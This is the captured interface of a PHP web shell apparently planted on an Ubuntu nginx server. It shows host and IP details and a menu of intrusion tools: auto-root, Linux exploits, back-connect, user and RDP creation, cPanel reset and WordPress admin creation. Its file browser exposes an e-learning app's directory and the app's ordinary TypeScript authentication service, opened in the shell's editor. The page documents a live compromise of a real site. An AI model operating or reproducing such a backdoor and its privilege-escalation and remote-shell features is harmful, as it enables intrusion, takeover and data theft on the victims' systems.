Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
edu-lms /
app /
containers /
auth /
store /
[ HOME SHELL ]
Name
Size
Permission
Action
actions.ts
1.49
KB
-rw-r--r--
constant.ts
1.41
KB
-rw-r--r--
reducer.ts
1.49
KB
-rw-r--r--
saga.ts
7.58
KB
-rw-r--r--
service.ts
4.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : service.ts
/* eslint-disable */ import { AxiosPromise } from 'axios'; import { Ajax, AjaxError } from 'helpers/ajax'; import { config, AuthType } from 'config'; import storage from 'helpers/storage'; import { Types } from './constant'; import { LoginData, TokenInfo, UserInfo, AuthState } from './constant'; import { Url } from 'helpers/url'; import store from 'configureStore'; import utils from 'helpers/utils'; import Axios from 'axios'; export const service = { login: (data: LoginData) => { switch(config.authType){ case AuthType.OAuthPassword: data.grant_type = 'password'; data.client_id = config.authConfig.clientId; data.client_secret = config.authConfig.clientSecret; return new Ajax().postForm( config.authConfig.authorizationUri, data, ); case AuthType.Custom: const url = window.__APP_API__ + 'login'; return new Ajax().postForm(url, data); default: return new Promise((resolve, reject) => { const error: AjaxError = { data: { error_description: `No handler found for ${config.authType}`, }, status: 404, statusText: 'No `AuthType` matched.', headers: null, config: null, request: null, }; reject(error); }); } }, register: (data: any) => { const url = window.__APP_API__ + 'register'; return new Ajax().postForm(url, data); }, selectRole: (data: any) => { const url = window.__APP_API__ + 'select-role'; let config = { headers: { 'Authorization': 'Bearer ' + data.user_token } } delete data.user_token; return Axios.post(url, data, config); }, saveProfile: (data: any) => { const url = window.__APP_API__ + 'save-profile'; let config = { headers: { 'Authorization': 'Bearer ' + data.user_token } } delete data.user_token; return Axios.post(url, data, config); }, getAccount: (data: any) => { const url = window.__APP_API__ + 'get-account'; let config = { headers: { 'Authorization': 'Bearer ' + data.user_token } } return Axios.post(url, {'uuid': data.uuid}, config); }, loginAccount: (data: any) => { const url = window.__APP_API__ + 'select-account'; let config = { headers: { 'Authorization': 'Bearer ' + data.user_token } } delete data.user_token; return Axios.post(url, data, config); }, getMyMeetings: (data: any) => { const url = window.__APP_API__ + 'my-meetings'; let config = { headers: { 'Authorization': 'Bearer ' + data.user_token } } return Axios.post(url, {}, config); } }; // export function getState(): AuthState { // return store.getState().auth as AuthState; // } export function getAuthUri(): string{ if( config.authType === AuthType.Custom || config.authType === AuthType.OAuthPassword || config.authType === AuthType.Mock ){ return '/login'; } if( config.authType === AuthType.OAuth || config.authType === AuthType.OAuthCode ){ let authUrl = config.authConfig.authorizationUri; if(!config.authConfig.callbackUri){ const callbackUri = Url.current().merge('/auth/callback'); authUrl = authUrl.replace('{callbackUri}', callbackUri); } Object.keys(config.authConfig).forEach(key => { authUrl = authUrl.replace(`{${key}}`, config.authConfig[key]); }); return `${authUrl}&state=${getValidState()}`; } } export function getValidState(): string{ const KEY_AUTH_STATE = 'AUTH_STATE'; if(!storage.getSession(KEY_AUTH_STATE)){ storage.setSession(KEY_AUTH_STATE, utils.randomString(10)); } return storage.getSession(KEY_AUTH_STATE); } export function getAccessTokenUri(code: string): string{ if( config.authType === AuthType.OAuth || config.authType === AuthType.OAuthCode ){ let tokenUrl = config.authConfig.accessTokenUri; tokenUrl = tokenUrl.replace('{code}', code); if(!config.authConfig.callbackUri){ const callbackUri = Url.current().merge('/auth/callback'); tokenUrl = tokenUrl.replace('{callbackUri}', callbackUri); Object.keys(config.authConfig).forEach(key => { tokenUrl = tokenUrl.replace(`{${key}}`, config.authConfig[key]); }); } return tokenUrl; } }
Close